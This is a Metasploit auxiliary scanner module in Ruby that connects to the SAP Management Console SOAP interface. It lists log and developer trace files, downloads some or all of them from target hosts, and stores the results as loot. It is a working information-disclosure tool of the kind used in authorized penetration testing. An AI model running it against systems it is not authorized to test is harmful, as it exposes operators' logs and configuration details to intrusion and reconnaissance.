metasploit-framework/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'         => 'SAP Management Console Get Logfile',
      'Description'  => %q{
        This module simply attempts to download available logfiles and
        developer tracefiles through the SAP Management Console SOAP
        Interface. Please use the sap_mgmt_con_listlogfiles
        extension to view a list of available files.
        },
      'References'   =>
        [
          # General
          [ 'URL', 'http://blog.c22.cc' ]
        ],
      'Author'       =>
        [	'Chris John Riley', # original msf module
          'Bruno Morisson <bm[at]integrity.pt>' # bulk file retrieval
        ],
      'License'      => MSF_LICENSE
    )


    register_options(
      [
        Opt::RPORT(50013),
        OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
        OptString.new('RFILE', [ true, 'The name of the file to download ', 'sapstart.log']),
        OptEnum.new('FILETYPE', [true, 'Specify LOGFILE or TRACEFILE', 'TRACEFILE', ['TRACEFILE','LOGFILE']]),
        OptBool.new('GETALL', [ false, 'Download all available files (WARNING: may take a long time!)', false])
      ])
    register_autofilter_ports([ 50013 ])
    deregister_options('RHOST')
  end

  def run_host(ip)
    res = send_request_cgi({
      'uri'      => normalize_uri(datastore['URI']),
      'method'   => 'GET'
    }, 25)

    if not res
      print_error("#{rhost}:#{rport} [SAP] Unable to connect")
      return
    end
    if datastore['GETALL']
      listfiles(ip)
    else
      gettfiles(rhost,"#{datastore['RFILE']}",'')
    end

  end

  def listfiles(rhost)
    print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
    success = false
    soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
    xsi = 'http://www.w3.org/2001/XMLSchema-instance'
    xs = 'http://www.w3.org/2001/XMLSchema'
    sapsess = 'http://www.sap.com/webas/630/soap/features/session/'

    case datastore['FILETYPE'].to_s
    when /^LOG/i
      ns1 = 'ns1:ListLogFiles'
    when /^TRACE/i
      ns1 = 'ns1:ListDeveloperTraces'
    else
      print_error("#{rhost}:#{rport} [SAP] unsupported filetype #{datastore['FILETYPE']}")
      return
    end

    data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
    data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
    data << '<SOAP-ENV:Header>' + "\r\n"
    data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
    data << '<enableSession>true</enableSession>' + "\r\n"
    data << '</sapsess:Session>' + "\r\n"
    data << '</SOAP-ENV:Header>' + "\r\n"
    data << '<SOAP-ENV:Body>' + "\r\n"
    data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
    data << '</SOAP-ENV:Body>' + "\r\n"
    data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

    begin
      res = send_request_raw({
        'uri'      => normalize_uri(datastore['URI']),
        'method'   => 'POST',
        'data'     => data,
        'headers'  =>
          {
            'Content-Length' => data.length,
            'SOAPAction'     => '""',
            'Content-Type'   => 'text/xml; charset=UTF-8',
          }
      }, 30)

      env = []
      if res and res.code == 200
        case res.body
        when /<file>(.*)<\/file>/i
          body = []
          body = res.body
          env = body.scan(/<filename>(.*?)<\/filename><size>(.*?)<\/size><modtime>(.*?)<\/modtime>/i)
          success = true
        end
      elsif res and res.code == 500
        case res.body
        when /<faultstring>(.*)<\/faultstring>/i
          faultcode = $1.strip
          fault = true
        end
      end

    rescue ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} [SAP] Unable to attempt authentication")
      return
    end

    if success
      print_good("#{rhost}:#{rport} [SAP] #{datastore['FILETYPE'].downcase}: #{env.length} files available")

      env.each do |output|
        gettfiles(rhost,output[0],output[1])
      end

      return

    elsif fault
      print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
      return

    else
      print_error("#{rhost}:#{rport} [SAP] failed to list files")
      return
    end
  end

  def gettfiles(rhost,logfile,filelen)
    if filelen
      print_status("#{rhost}:#{rport} [SAP] Attempting to retrieve file #{logfile} (#{filelen} bytes)")
    else
      print_status("#{rhost}:#{rport} [SAP] Attempting to retrieve file #{logfile} (size unknown)")
    end
    success = false

    soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
    xsi = 'http://www.w3.org/2001/XMLSchema-instance'
    xs = 'http://www.w3.org/2001/XMLSchema'
    sapsess = 'http://www.sap.com/webas/630/soap/features/session/'

    case datastore['FILETYPE'].to_s
    when /^LOG/i
      ns1 = 'ns1:ReadLogFile'
    when /^TRACE/i
      ns1 = 'ns1:ReadDeveloperTrace'
    else
      print_error("#{rhost}:#{rport} [SAP] unsupported filetype: #{datastore['FILETYPE']}")
      return
    end

    data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
    data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
    data << '<SOAP-ENV:Header>' + "\r\n"
    data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
    data << '<enableSession>true</enableSession>' + "\r\n"
    data << '</sapsess:Session>' + "\r\n"
    data << '</SOAP-ENV:Header>' + "\r\n"
    data << '<SOAP-ENV:Body>' + "\r\n"
    data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><filename>' + logfile + '</filename></' + ns1 + '>' + "\r\n"
    data << '</SOAP-ENV:Body>' + "\r\n"
    data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

    begin
      res = send_request_raw({
        'uri'      => normalize_uri(datastore['URI']),
        'method'   => 'POST',
        'data'     => data,
        'headers'  =>
          {
            'Content-Length' => data.length,
            'SOAPAction'     => '""',
            'Content-Type'   => 'text/xml; charset=UTF-8',
          }
      }, 120)

      env = []

      if res and res.code == 200
        case res.body
        when /<item>([^<]+)<\/item>/i
          body = []
          body = res.body
          env = body.scan(/<item>([^<]+)<\/item>/i)
          success = true
        end

        case res.body
        when /<name>([^<]+)<\/name>/i
          name = $1.strip
          success = true
        end

      elsif res and res.code == 500
        case res.body
        when /<faultstring>(.*)<\/faultstring>/i
          faultcode = $1.strip
          fault = true
        end
      end

    rescue ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} [SAP] Unable to connect")
      return
    end

    if success
      print_good("#{rhost}:#{rport} [SAP] #{datastore['FILETYPE'].downcase}:#{logfile.downcase} looted")
      addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
      p = store_loot(
        "sap.#{datastore['FILETYPE'].downcase}.file",
        "text/xml",
        addr,
        res.body,
        "sap_#{logfile.downcase}.xml",
        "SAP Get Logfile"
      )
      print_status("Logfile stored in: #{p}")
    elsif fault
      print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
      return
    else
      print_error("#{rhost}:#{rport} [SAP] failed to download file")
      return
    end
  end
end